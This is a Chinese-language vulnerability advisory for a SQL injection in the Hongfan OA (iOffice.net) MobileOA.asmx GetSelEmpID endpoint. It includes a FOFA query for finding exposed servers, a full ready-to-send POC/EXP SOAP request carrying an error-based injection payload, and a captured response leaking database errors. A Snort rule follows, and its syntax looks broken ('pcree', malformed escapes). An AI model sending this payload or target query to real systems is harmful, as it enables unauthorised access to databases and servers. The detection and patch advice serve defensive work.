

红帆OA MobileOA.asmx GetSelEmpID 接口SQL注入漏洞

红帆OA MobileOA.asmx GetSelEmpID 接口SQL注入漏洞，未经授权攻击者可进行sql注入漏洞攻击，查询敏感数据，甚至获取数据库和服务器权限。

影响版本

红帆OA

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: title="iOffice.net" || body="/iOffice/js" || (body="iOffice.net" && header!="couchdb" && header!="drupal") || body="iOfficeOcxSetup.exe" || body="Hongfan. All Rights Reserved"

POC/EXP:

```
POST /ioffice/prg/set/wss/MobileOA.asmx HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/GetSelEmpID"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetSelEmpID xmlns="http://tempuri.org/">
```

```
<MobileOAEmailAddress>' AND 5079 IN (SELECT
(CHAR(113)+CHAR(122)+CHAR(112)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (5079=5079)
THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(98)+CHAR(113)))--
eqJq</MobileOAEmailAddress>
</GetSelEmpID>
</soap:Body>
</soap:Envelope>
```

Request

数据包扫描 美化 热加载 构造请求

1

POST /ioffice/prg/set/wss/MobileOA.asmx HTTP/1.1

2

Host: [REDACTED]

3

Content-Type: text/xml; charset=utf-8

4

Content-Length: length

5

SOAPAction: "http://tempuri.org/GetSelEmpID"

6

7

<?xml version="1.0" encoding="utf-8"?>

8

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

9

<soap:Body>

10

<GetSelEmpID xmlns="http://tempuri.org/">

11

<MobileOAEmailAddress>' AND 5079 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(112)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (5079=5079) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(98)+CHAR(113)))--eqJq</MobileOAEmailAddress>

12

</GetSelEmpID>

13

</soap:Body>

14

</soap:Envelope>

Responses 1797bytes / 56ms 美化 编码 详情

1

HTTP/1.1 500 Internal Server Error

2

Cache-Control: private

3

Content-Type: text/xml; charset=utf-8

4

Server: Microsoft-IIS/7.5

5

X-AspNet-Version: 2.0.50727

6

X-Powered-By: ASP.NET

7

Date: Tue, 15 Apr 2025 02:57:16 GMT

8

Content-Length: 1807

9

10

<?xml version="1.0" encoding="utf-8"?>

11

<soap:Envelope

12

< xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"

13

< xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

14

< xmlns:xsd="http://www.w3.org/2001/XMLSchema"

15

><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring

16

<-->System.Web.Services.Protocols.SoapException: 服务器无法处理请求。-->> System.Data.SqlClient.SqlException: 在将 varchar 值 'qzpbq1qjpbq' 转换成数据类型 int 时失败。

17

在 System.Data.SqlClient.SqlConnection.OnError (SqlException exception, Boolean breakConnection)

18

在 System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj)

19

在 System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj)

20

在 System.Data.SqlClient.SqlDataReader.HasMoreRows()

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
msg:"红帆OA MobileOA.asmx GetSelEmpID SQL注入攻击";
flow:to_server,established;
content:"POST"; http_method;
content:"/ioffice/prg/set/wss/MobileOA.asmx"; http_uri;
content:"SOAPAction: \"http://tempuri.org/GetSelEmpID\""; http_header;
pcree:"/<MobileOAEmailAddress>[^\<]*?'s+AND\s+d+\s+IN\s*\ (SELECT\s*\ (CHAR\ ([0-9]+\)\)\s*\){5}/i";
classtype:sql-injection;
sid:1000031;
rev:1;
priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本